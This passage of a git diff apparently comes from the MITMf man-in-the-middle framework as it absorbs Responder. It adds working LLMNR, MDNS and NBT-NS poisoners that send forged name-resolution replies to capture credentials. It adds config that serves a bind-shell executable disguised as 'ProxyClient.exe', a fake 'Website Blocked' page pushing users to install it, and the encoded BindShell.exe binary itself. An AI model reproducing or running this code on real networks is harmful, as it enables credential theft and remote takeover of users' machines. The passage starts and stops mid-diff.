core/responder/ftp/__init__.py delete mode 100644 core/responder/imap/IMAPPackets.py delete mode 100644 core/responder/imap/IMAPserver.py delete mode 100644 core/responder/imap/__init__.py delete mode 100644 core/responder/kerberos/KERBserver.py delete mode 100644 core/responder/kerberos/__init__.py delete mode 100644 core/responder/ldap/LDAPPackets.py delete mode 100644 core/responder/ldap/LDAPserver.py delete mode 100644 core/responder/ldap/__init__.py delete mode 100644 core/responder/llmnr/LLMNRpoisoner.py delete mode 100644 core/responder/llmnr/__init__.py delete mode 100644 core/responder/mdns/MDNSpoisoner.py delete mode 100644 core/responder/mdns/__init__.py delete mode 100644 core/responder/mssql/MSSQLPackets.py delete mode 100644 core/responder/mssql/MSSQLserver.py delete mode 100644 core/responder/mssql/__init__.py delete mode 100644 core/responder/nbtns/NBTNSpoisoner.py delete mode 100644 core/responder/nbtns/__init__.py delete mode 100644 core/responder/packet.py create mode 100644 core/responder/packets.py delete mode 100644 core/responder/pop3/POP3server.py delete mode 100644 core/responder/pop3/__init__.py create mode 100644 core/responder/settings.py delete mode 100644 core/responder/smtp/SMTPPackets.py delete mode 100644 core/responder/smtp/SMTPserver.py delete mode 100644 core/responder/smtp/__init__.py create mode 100644 core/responder/utils.py delete mode 100644 core/sergioproxy/README.md delete mode 100644 core/sergioproxy/__init__.py create mode 100644 core/servers/Browser.py rename core/servers/{dns/DNSchef.py => DNS.py} (99%) create mode 100644 core/servers/FTP.py create mode 100644 core/servers/HTTP.py create mode 100644 core/servers/IMAP.py rename core/servers/{smb => }/KarmaSMB.py (100%) create mode 100644 core/servers/Kerberos.py create mode 100644 core/servers/LDAP.py create mode 100644 core/servers/MSSQL.py create mode 100644 core/servers/POP3.py create mode 100644 core/servers/SMB.py create mode 100644 core/servers/SMTP.py delete mode 100644 core/servers/dns/CHANGELOG delete mode 100644 core/servers/dns/LICENSE delete mode 100644 core/servers/dns/README.md delete mode 100644 core/servers/dns/__init__.py delete mode 100644 core/servers/http/HTTPserver.py delete mode 100644 core/servers/http/__init__.py delete mode 100644 core/servers/smb/SMBserver.py delete mode 100644 core/servers/smb/__init__.py delete mode 100644 plugins/responder.py diff --git a/config/mitmf.conf b/config/mitmf.conf index cad2b4c..9ea8033 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -20,53 +20,6 @@ host = 127.0.0.1 port = 9999 - [[HTTP]] - - # - # Here you can configure MITMf's internal HTTP server - # Note: changing the port number might break certain plugins - - port = 80 - - [[SMB]] - - # - # Here you can configure MITMf's internal SMB server - # - - port = 445 - mode = normal # Can be set to Normal or Karma - - # Set a custom challenge - Challenge = 1122334455667788 - - [[[Shares]]] # Only parsed if type = Normal - - # - # You can define shares here - # - - # [[[[Share1]]]] #Share name - # readonly = yes #Be very careful if you set this to no! - # path = /tmp #Share path - - # [[[[Share2]]]] - # readonly = yes - # path = /tmp - - [[[Karma]]] # Only parsed if type = Karma - - # - # Here you can configure the Karma-SMB server - # - - defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out) - - # exe = /tmp/evil.exe - # dll = /tmp/evil.dll - # ini = /tmp/desktop.ini - # bat = /tmp/evil.bat - [[DNS]] # @@ -154,32 +107,63 @@ [Responder] - #Set these values to On or Off, so you can control which rogue authentication server is turned on. - MSSQL = On + #Servers to start + SQL = On + HTTPS = On Kerberos = On - FTP = On - POP = On - SMTP = On #Listens on 25/TCP, 587/TCP - IMAP = On - LDAP = On + FTP = On + POP = On + SMTP = On + IMAP = On + LDAP = On - #Set this option with your in-scope targets (default = All) - #Ex. RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Custom challenge + Challenge = 1122334455667788 + + #Specific IP Addresses to respond to (default = All) + #Example: RespondTo = 10.20.1.100-150, 10.20.3.10 RespondTo = - #Set this option with specific NBT-NS/LLMNR names to answer to (default = All) - #Ex. RespondTo = WPAD,DEV,PROD,SQLINT + #Specific NBT-NS/LLMNR names to respond to (default = All) + #Example: RespondTo = WPAD, DEV, PROD, SQLINT RespondToName = - #DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119 + #Specific IP Addresses not to respond to (default = None) + #Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 DontRespondTo = - #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None) - #Ex. DontRespondTo = NAC, IPS, IDS + #Specific NBT-NS/LLMNR names not to respond to (default = None) + #Example: DontRespondTo = NAC, IPS, IDS DontRespondToName = - #Set your custom PAC script - WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}' + [[HTTP Server]] + + #Set to On to always serve the custom EXE + Serve-Always = Off + + #Set to On to replace any requested .exe with the custom EXE + Serve-Exe = On + + #Set to On to serve the custom HTML if the URL does not contain .exe + Serve-Html = Off + + #Custom HTML to serve + HtmlFilename = config/responder/AccessDenied.html + + #Custom EXE File to serve + ExeFilename = config/responder/BindShell.exe + + #Name of the downloaded .exe that the client will see + ExeDownloadName = ProxyClient.exe + + #Custom WPAD Script + WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}' + + [[HTTPS Server]] + + #Configure SSL Certificates to use + SSLCert = config/responder/responder.crt + SSLKey = config/responder/responder.key [AppCachePoison] # HTML5 AppCache poisioning attack diff --git a/config/responder/AccessDenied.html b/config/responder/AccessDenied.html new file mode 100644 index 0000000..d79f811 --- /dev/null +++ b/config/responder/AccessDenied.html @@ -0,0 +1,31 @@ + + +Website Blocked: ISA Proxy Server + + + + +
+
+
New Security Policy: Website Blocked
+
    +
    +
    +
  • Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
  • +
    +
+
+ +
+ + + diff --git a/config/responder/BindShell.exe b/config/responder/BindShell.exe new file mode 100644 index 0000000000000000000000000000000000000000..b1a8e630176e120fc0f4f7af483880fb419d4937 GIT binary patch literal 25113 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 d%6Oe&n/Library/Python/2.7/lib/python/site-packages -echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users//Library/Python/2.7/lib/python/site-packages/homebrew.pth -sudo pip install pypcap -brew tap brona/iproute2mac -brew install iproute2mac -``` -Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'. - - -####Thanks -* Laurent Gaffie -* psychomario diff --git a/core/netcreds/__init__.py b/core/netcreds/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/packetparser.py b/core/packetfilter.py similarity index 88% rename from core/packetparser.py rename to core/packetfilter.py index 0a8b1af..e8f0d5d 100644 --- a/core/packetparser.py +++ b/core/packetfilter.py @@ -6,10 +6,10 @@ from scapy.all import * from traceback import print_exc from netfilterqueue import NetfilterQueue -formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("PacketParser", formatter) +formatter = logging.Formatter("%(asctime)s [PacketFilter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +log = logger().setup_logger("PacketFilter", formatter) -class PacketParser: +class PacketFilter: def __init__(self, filter): self.filter = filter diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/ARP.py similarity index 100% rename from core/poisoners/arp/ARPpoisoner.py rename to core/poisoners/ARP.py diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/DHCP.py similarity index 100% rename from core/poisoners/dhcp/DHCPpoisoner.py rename to core/poisoners/DHCP.py diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/ICMP.py similarity index 100% rename from core/poisoners/icmp/ICMPpoisoner.py rename to core/poisoners/ICMP.py diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py new file mode 100644 index 0000000..930593e --- /dev/null +++ b/core/poisoners/LLMNR.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import struct +import core.responder.settings +import core.responder.fingerprint + +from core.reponder.packets import LLMNR_Ans +from core.responder.odict import OrderedDict +from SocketServer import BaseRequestHandler +from core.responder.utils import * + + +def Parse_LLMNR_Name(data): + NameLen = struct.unpack('>B',data[12])[0] + Name = data[13:13+NameLen] + return Name + +def IsOnTheSameSubnet(ip, net): + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) + +def IsICMPRedirectPlausible(IP): + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: + print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) + print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) + print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + else: + pass + +if settings.Config.AnalyzeMode: + IsICMPRedirectPlausible(settings.Config.Bind_To) + +# LLMNR Server class +class LLMNRServer(BaseRequestHandler): + + def handle(self): + data, soc = self.request + Name = Parse_LLMNR_Name(data) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): + + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + else: + Finger = None + + # Analyze Mode + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: LLMNR]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + + # Poisoning Mode + else: + Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) + Buffer.calculate() + soc.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [LLMNR]" + + print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py new file mode 100644 index 0000000..959ac43 --- /dev/null +++ b/core/poisoners/MDNS.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import struct +import settings +import socket + +from SocketServer import BaseRequestHandler +from packets import MDNS_Ans +from utils import * + +def Parse_MDNS_Name(data): + data = data[12:] + NameLen = struct.unpack('>B',data[0])[0] + Name = data[1:1+NameLen] + NameLen_ = struct.unpack('>B',data[1+NameLen])[0] + Name_ = data[1+NameLen:1+NameLen+NameLen_+1] + return Name+'.'+Name_ + +def Poisoned_MDNS_Name(data): + data = data[12:] + Name = data[:len(data)-5] + return Name + +class MDNS(BaseRequestHandler): + + def handle(self): + + MADDR = "224.0.0.251" + MPORT = 5353 + + data, soc = self.request + Request_Name = Parse_MDNS_Name(data) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Request_Name) is not True: + return None + + try: + # Analyze Mode + if settings.Config.AnalyzeMode: + if Parse_IPV6_Addr(data): + print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))) + + # Poisoning Mode + else: + if Parse_IPV6_Addr(data): + + Poisoned_Name = Poisoned_MDNS_Name(data) + Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To)) + Buffer.calculate() + soc.sendto(str(Buffer), (MADDR, MPORT)) + + print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1) + + except Exception: + raise \ No newline at end of file diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py new file mode 100644 index 0000000..0d550ec --- /dev/null +++ b/core/poisoners/NBTNS.py @@ -0,0 +1,79 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import socket +import settings +import fingerprint + +from packets import NBT_Ans +from SocketServer import BaseRequestHandler +from utils import * + +# Define what are we answering to. +def Validate_NBT_NS(data): + if settings.Config.AnalyzeMode: + return False + + if NBT_NS_Role(data[43:46]) == "File Server": + return True + + if settings.Config.NBTNSDomain == True: + if NBT_NS_Role(data[43:46]) == "Domain Controller": + return True + + if settings.Config.Wredirect == True: + if NBT_NS_Role(data[43:46]) == "Workstation/Redirector": + return True + + else: + return False + +# NBT_NS Server class. +class NBTNS(BaseRequestHandler): + + def handle(self): + + data, socket = self.request + Name = Decode_Name(data[13:45]) + + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None + + if data[2:4] == "\x01\x10": + + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0],445)) + else: + Finger = None + + # Analyze Mode + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: NBT-NS]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + + # Poisoning Mode + else: + Buffer = NBT_Ans() + Buffer.calculate(data) + socket.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [NBT-NS]" + + print color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(data[43:46])), 2, 1) + + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/core/poisoners/arp/__init__.py b/core/poisoners/arp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/poisoners/dhcp/__init__.py b/core/poisoners/dhcp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/poisoners/icmp/__init__.py b/core/poisoners/icmp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/sergioproxy/ProxyPlugins.py b/core/proxyplugins.py similarity index 100% rename from core/sergioproxy/ProxyPlugins.py rename to core/proxyplugins.py diff --git a/core/responder/common.py b/core/responder/common.py deleted file mode 100644 index 904d865..0000000 --- a/core/responder/common.py +++ /dev/null @@ -1,102 +0,0 @@ -#common functions that are used throughout the Responder's code - -import os -import re - -#Function used to write captured hashs to a file. -def WriteData(outfile, data, user): - if os.path.isfile(outfile) == False: - with open(outfile,"w") as outf: - outf.write(data) - outf.write("\n") - outf.close() - if os.path.isfile(outfile) == True: - with open(outfile,"r") as filestr: - if re.search(user.encode('hex'), filestr.read().encode('hex')): - filestr.close() - return False - if re.search(re.escape("$"), user): - filestr.close() - return False - else: - with open(outfile,"a") as outf2: - outf2.write(data) - outf2.write("\n") - outf2.close() - -def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] =="\x1c": - return False - if data[len(data)-4:len(data)] == "\x00\x01\x00\x01": - return True - if data[len(data)-4:len(data)] == "\x00\xff\x00\x01": - return True - else: - return False - -#Function name self-explanatory -def Is_Finger_On(Finger_On_Off): - if Finger_On_Off == True: - return True - if Finger_On_Off == False: - return False - -def RespondToSpecificHost(RespondTo): - if len(RespondTo)>=1 and RespondTo != ['']: - return True - else: - return False - -def RespondToSpecificName(RespondToName): - if len(RespondToName)>=1 and RespondToName != ['']: - return True - else: - return False - -def RespondToIPScope(RespondTo, ClientIp): - if ClientIp in RespondTo: - return True - else: - return False - -def RespondToNameScope(RespondToName, Name): - if Name in RespondToName: - return True - else: - return False - -##Dont Respond to these hosts/names. -def DontRespondToSpecificHost(DontRespondTo): - if len(DontRespondTo)>=1 and DontRespondTo != ['']: - return True - else: - return False - -def DontRespondToSpecificName(DontRespondToName): - if len(DontRespondToName)>=1 and DontRespondToName != ['']: - return True - else: - return False - -def DontRespondToIPScope(DontRespondTo, ClientIp): - if ClientIp in DontRespondTo: - return True - else: - return False - -def DontRespondToNameScope(DontRespondToName, Name): - if Name in DontRespondToName: - return True - else: - return False - -def IsOnTheSameSubnet(ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - -def FindLocalIP(Iface): - return OURIP \ No newline at end of file diff --git a/core/responder/fingerprint.py b/core/responder/fingerprint.py new file mode 100644 index 0000000..24432a5 --- /dev/null +++ b/core/responder/fingerprint.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import re +import sys +import socket +import struct +import string +import logging + +from utils import * +from odict import OrderedDict 